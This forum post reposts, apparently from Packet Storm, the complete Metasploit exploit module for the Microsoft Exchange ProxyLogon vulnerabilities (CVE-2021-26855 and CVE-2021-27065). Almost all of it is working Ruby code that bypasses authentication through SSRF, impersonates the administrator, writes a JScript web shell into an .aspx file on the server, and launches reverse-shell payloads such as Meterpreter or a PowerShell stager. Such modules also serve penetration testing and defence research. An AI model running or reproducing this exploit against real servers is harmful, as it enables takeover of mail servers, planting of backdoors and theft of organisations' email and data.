Microsoft Exchange ProxyLogon Remote Code Execution

#182
Topic created · 1 Posts · 0 Views
  • This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution)
    . By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 Versions less than 15.00.1497.012, Exchange 2016 CU18 less than 15.01.2106.013, Exchange 2016 CU19 less than 15.01.2176.009, Exchange 2019 CU7 less than 15.02.0721.013, and Exchange 2019 CU8 less than 15.02.0792.010. All components are vulnerable by default.
    MD5 | d511d66b8660f85c046673fef91f3912
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    prepend Msf::Exploit::Remote::AutoCheck  
    include Msf::Exploit::CmdStager  
    include Msf::Exploit::FileDropper  
    include Msf::Exploit::Powershell  
    include Msf::Exploit::Remote::CheckModule  
    include Msf::Exploit::Remote::HttpClient  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'Microsoft Exchange ProxyLogon RCE',  
    'Description' => %q{  
    This module exploit a vulnerability on Microsoft Exchange Server that  
    allows an attacker bypassing the authentication, impersonating as the  
    admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get  
    the RCE (Remote Code Execution).  
    By taking advantage of this vulnerability, you can execute arbitrary  
    commands on the remote Microsoft Exchange Server.  
    This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,  
    Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,  
    Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).  
    All components are vulnerable by default.  
    },  
    'Author' => [  
    'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)  
    'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)  
    'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)  
    'print("")', # https://www.o2oxy.cn/3169.html  
    'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691  
    ],  
    'References' => [  
    ['CVE', '2021-26855'],  
    ['CVE', '2021-27065'],  
    ['LOGO', 'https://proxylogon.com/images/logo.jpg'],  
    ['URL', 'https://proxylogon.com/'],  
    ['URL', 'http://aka.ms/exchangevulns'],  
    ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],  
    [  
    'URL',  
    'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'  
    ],  
    ['URL', 'https://www.o2oxy.cn/3169.html'],  
    ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']  
    ],  
    'DisclosureDate' => '2021-03-02',  
    'License' => MSF_LICENSE,  
    'DefaultOptions' => {  
    'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',  
    'HttpClientTimeout' => 60,  
    'RPORT' => 443,  
    'SSL' => true,  
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
    },  
    'Platform' => ['windows'],  
    'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],  
    'Privileged' => true,  
    'Targets' => [  
    [  
    'Windows Powershell',  
    {  
    'Platform' => 'windows',  
    'Arch' => [ARCH_X64, ARCH_X86],  
    'Type' => :windows_powershell,  
    'DefaultOptions' => {  
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
    }  
    }  
    ],  
    [  
    'Windows Dropper',  
    {  
    'Platform' => 'windows',  
    'Arch' => [ARCH_X64, ARCH_X86],  
    'Type' => :windows_dropper,  
    'CmdStagerFlavor' => %i[psh_invokewebrequest],  
    'DefaultOptions' => {  
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
    'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'  
    }  
    }  
    ],  
    [  
    'Windows Command',  
    {  
    'Platform' => 'windows',  
    'Arch' => [ARCH_CMD],  
    'Type' => :windows_command,  
    'DefaultOptions' => {  
    'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
    }  
    }  
    ]  
    ],  
    'DefaultTarget' => 0,  
    'Notes' => {  
    'Stability' => [CRASH_SAFE],  
    'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
    'AKA' => ['ProxyLogon']  
    }  
    )  
    )  
    register_options([  
    OptString.new('EMAIL', [true, 'A known email address for this organization']),  
    OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),  
    OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])  
    ])  
    register_advanced_options([  
    OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),  
    OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),  
    OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),  
    OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),  
    OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),  
    OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),  
    OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])  
    ])  
    end  
    def cmd_windows_generic?  
    datastore['PAYLOAD'] == 'cmd/windows/generic'  
    end  
    def encode_cmd(cmd)  
    cmd.gsub!('\\', '\\\\\\')  
    cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')  
    end  
    def execute_command(cmd, _opts = {})  
    cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"  
    send_request_raw(  
    'method' => 'POST',  
    'uri' => normalize_uri(web_directory, @random_filename),  
    'ctype' => 'application/x-www-form-urlencoded',  
    'data' => "#{@random_inputname}=#{cmd}"  
    )  
    end  
    def install_payload(exploit_info)  
    # exploit_info: [server_name, sid, session, canary, oab_id]  
    input_name = rand_text_alpha(4..8).to_s  
    shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>"  
    data = {  
    identity: {  
    __type: 'Identity:ECP',  
    DisplayName: (exploit_info[4][0]).to_s,  
    RawIdentity: (exploit_info[4][1]).to_s  
    },  
    properties: {  
    Parameters: {  
    __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',  
    ExternalUrl: shell.to_s  
    }  
    }  
    }.to_json  
    response = send_http(  
    'POST',  
    "[[email protected]](/cdn-cgi/l/email-protection)#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",  
    data: data,  
    cookie: exploit_info[2],  
    ctype: 'application/json; charset=utf-8',  
    headers: {  
    'msExchLogonMailbox' => patch_sid(exploit_info[1]),  
    'msExchTargetMailbox' => patch_sid(exploit_info[1]),  
    'X-vDirObjectId' => (exploit_info[4][1]).to_s  
    }  
    )  
    return '' if response.code != 200  
    input_name  
    end  
    def message(msg)  
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"  
    end  
    def patch_sid(sid)  
    ar = sid.to_s.split('-')  
    if ar[-1] != '500'  
    sid = "#{ar[0..6].join('-')}-500"  
    end  
    sid  
    end  
    def random_mapi_id  
    id = "{#{Rex::Text.rand_text_hex(8)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"  
    id.upcase  
    end  
    def random_ssrf_id  
    # https://en.wikipedia.org/wiki/2,147,483,647 (lol)  
    # max. 2147483647  
    rand(1941962752..2147483647)  
    end  
    def request_autodiscover(server_name)  
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }  
    response = send_http(  
    'POST',  
    "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}",  
    data: soap_autodiscover,  
    ctype: 'text/xml; charset=utf-8'  
    )  
    case response.body  
    when %r{<ErrorCode>500</ErrorCode>}  
    fail_with(Failure::NotFound, 'No Autodiscover information was found')  
    when %r{<Action>redirectAddr</Action>}  
    fail_with(Failure::NotFound, 'No email address was found')  
    end  
    xml = Nokogiri::XML.parse(response.body)  
    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content  
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?  
    server = ''  
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|  
    type = item.at_xpath('./xmlns:Type', xmlns)&.content  
    if type == 'EXCH'  
    server = item.at_xpath('./xmlns:Server', xmlns)&.content  
    end  
    end  
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?  
    [server, legacy_dn]  
    end  
    # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff  
    def request_mapi(server_name, legacy_dn, server_id)  
    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"  
    headers = {  
    'X-RequestType' => 'Connect',  
    'X-ClientInfo' => random_mapi_id,  
    'X-ClientApplication' => datastore['MapiClientApp'],  
    'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"  
    }  
    sid = ''  
    response = send_http(  
    'POST',  
    "[[email protected]](/cdn-cgi/l/email-protection)#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}",  
    data: data,  
    ctype: 'application/mapi-http',  
    headers: headers  
    )  
    if response.code == 200  
    sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/  
    sid = response.body.match(sid_regex).to_s  
    end  
    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?  
    sid  
    end  
    def request_oab(server_name, sid, session, canary)  
    data = {  
    filter: {  
    Parameters: {  
    __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',  
    SelectedView: '',  
    SelectedVDirType: 'OAB'  
    }  
    },  
    sort: {}  
    }.to_json  
    response = send_http(  
    'POST',  
    "[[email protected]](/cdn-cgi/l/email-protection)#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}",  
    data: data,  
    cookie: session,  
    ctype: 'application/json; charset=utf-8',  
    headers: {  
    'msExchLogonMailbox' => patch_sid(sid),  
    'msExchTargetMailbox' => patch_sid(sid)  
    }  
    )  
    if response.code == 200  
    data = JSON.parse(response.body)  
    data['d']['Output'].each do |oab|  
    if oab['Server'].downcase == server_name.downcase  
    return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]  
    end  
    end  
    end  
    []  
    end  
    def request_proxylogon(server_name, sid)  
    data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>"  
    session_id = ''  
    canary = ''  
    response = send_http(  
    'POST',  
    "[[email protected]](/cdn-cgi/l/email-protection)#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}",  
    data: data,  
    ctype: 'text/xml; charset=utf-8',  
    headers: {  
    'msExchLogonMailbox' => patch_sid(sid),  
    'msExchTargetMailbox' => patch_sid(sid)  
    }  
    )  
    if response.code == 241  
    session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]  
    canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ...  
    end  
    [session_id, canary]  
    end  
    # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.  
    def run_cve_2021_26855  
    # request for internal server name.  
    response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")  
    if response.code != 500 || !response.headers.to_s.include?('X-FEServer')  
    fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')  
    end  
    server_name = response.headers['X-FEServer']  
    print_status("Internal server name (#{server_name})")  
    # get informations by autodiscover request.  
    print_status(message('Sending autodiscover request'))  
    server_id, legacy_dn = request_autodiscover(server_name)  
    print_status("Server: #{server_id}")  
    print_status("LegacyDN: #{legacy_dn}")  
    # get the user UID using mapi request.  
    print_status(message('Sending mapi request'))  
    sid = request_mapi(server_name, legacy_dn, server_id)  
    print_status("SID: #{sid} (#{datastore['EMAIL']})")  
    # search oab  
    sid, session, canary, oab_id = search_oab(server_name, sid)  
    [server_name, sid, session, canary, oab_id]  
    end  
    # post-auth arbitrary file write.  
    def run_cve_2021_27065(session_info)  
    # set external url (and set the payload).  
    print_status('Prepare the payload on the remote target')  
    input_name = install_payload(session_info)  
    fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty?  
    # reset the virtual directory (and write the payload).  
    print_status('Write the payload on the remote target')  
    remote_file = write_payload(session_info)  
    fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty?  
    # wait a lot.  
    i = 0  
    while i < datastore['MaxWaitLoop']  
    received = send_request_cgi({  
    'method' => 'GET',  
    'uri' => normalize_uri(web_directory, remote_file)  
    })  
    if received && (received.code == 200)  
    break  
    end  
    print_warning("Wait a lot (#{i})")  
    sleep 5  
    i += 1  
    end  
    fail_with(Failure::PayloadFailed, 'Could\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302  
    [input_name, remote_file]  
    end  
    def search_oab(server_name, sid)  
    # request cookies (session and canary)  
    print_status(message('Sending ProxyLogon request'))  
    print_status('Try to get a good msExchCanary (by patching user SID method)')  
    session_id, canary = request_proxylogon(server_name, patch_sid(sid))  
    if canary  
    session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"  
    oab_id = request_oab(server_name, sid, session, canary)  
    end  
    if oab_id.nil? || oab_id.empty?  
    print_status('Try to get a good msExchCanary (without correcting the user SID)')  
    session_id, canary = request_proxylogon(server_name, sid)  
    if canary  
    session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"  
    oab_id = request_oab(server_name, sid, session, canary)  
    end  
    end  
    fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?  
    fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?  
    fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?  
    print_status("ASP.NET_SessionId: #{session_id}")  
    print_status("msExchEcpCanary: #{canary}")  
    print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")  
    return [sid, session, canary, oab_id]  
    end  
    def send_http(method, ssrf, opts = {})  
    ssrf = "X-BEResource=#{ssrf};"  
    if opts[:cookie] && !opts[:cookie].empty?  
    opts[:cookie] = "#{ssrf} #{opts[:cookie]}"  
    else  
    opts[:cookie] = ssrf.to_s  
    end  
    opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?  
    request = {  
    'method' => method,  
    'uri' => @random_uri,  
    'agent' => datastore['UserAgent'],  
    'ctype' => opts[:ctype]  
    }  
    request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?  
    request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?  
    request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?  
    received = send_request_cgi(request)  
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
    received  
    end  
    def soap_autodiscover  
    <<~SOAP  
    <?xml version="1.0" encoding="utf-8"?>  
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
    <Request>  
    <EMailAddress>#{datastore['EMAIL']}</EMailAddress>  
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
    </Request>  
    </Autodiscover>  
    SOAP  
    end  
    def web_directory  
    if datastore['UseAlternatePath']  
    web_dir = datastore['IISWritePath'].gsub('\\', '/')  
    else  
    web_dir = datastore['ExchangeWritePath'].gsub('\\', '/')  
    end  
    web_dir  
    end  
    def write_payload(exploit_info)  
    # exploit_info: [server_name, sid, session, canary, oab_id]  
    remote_file = "#{rand_text_alpha(4..8)}.aspx"  
    if datastore['UseAlternatePath']  
    remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"  
    remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"  
    else  
    remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"  
    remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"  
    end  
    data = {  
    identity: {  
    __type: 'Identity:ECP',  
    DisplayName: (exploit_info[4][0]).to_s,  
    RawIdentity: (exploit_info[4][1]).to_s  
    },  
    properties: {  
    Parameters: {  
    __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',  
    FilePathName: remote_path.to_s  
    }  
    }  
    }.to_json  
    response = send_http(  
    'POST',  
    "[[email protected]](/cdn-cgi/l/email-protection)#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",  
    data: data,  
    cookie: exploit_info[2],  
    ctype: 'application/json; charset=utf-8',  
    headers: {  
    'msExchLogonMailbox' => patch_sid(exploit_info[1]),  
    'msExchTargetMailbox' => patch_sid(exploit_info[1]),  
    'X-vDirObjectId' => (exploit_info[4][1]).to_s  
    }  
    )  
    return '' if response.code != 200  
    remote_file  
    end  
    def exploit  
    @proto = (ssl ? 'https' : 'http')  
    @random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js")  
    print_status(message('Attempt to exploit for CVE-2021-26855'))  
    exploit_info = run_cve_2021_26855  
    print_status(message('Attempt to exploit for CVE-2021-27065'))  
    shell_info = run_cve_2021_27065(exploit_info)  
    @random_inputname = shell_info[0]  
    @random_filename = shell_info[1]  
    print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")  
    if datastore['UseAlternatePath']  
    remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}"  
    else  
    remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}"  
    end  
    register_files_for_cleanup(remote_file)  
    # trigger powa!  
    case target['Type']  
    when :windows_command  
    vprint_status("Generated payload: #{payload.encoded}")  
    if !cmd_windows_generic?  
    execute_command(payload.encoded)  
    else  
    response = execute_command("cmd /c #{payload.encoded}")  
    print_warning('Dumping command output in response')  
    output = response.body.split('Name                            :')[0]  
    if output.empty?  
    print_error('Empty response, no command output')  
    return  
    end  
    print_line(output)  
    end  
    when :windows_dropper  
    execute_command(generate_cmdstager(concat_operator: ';').join)  
    when :windows_powershell  
    cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
    execute_command(cmd)  
    end  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply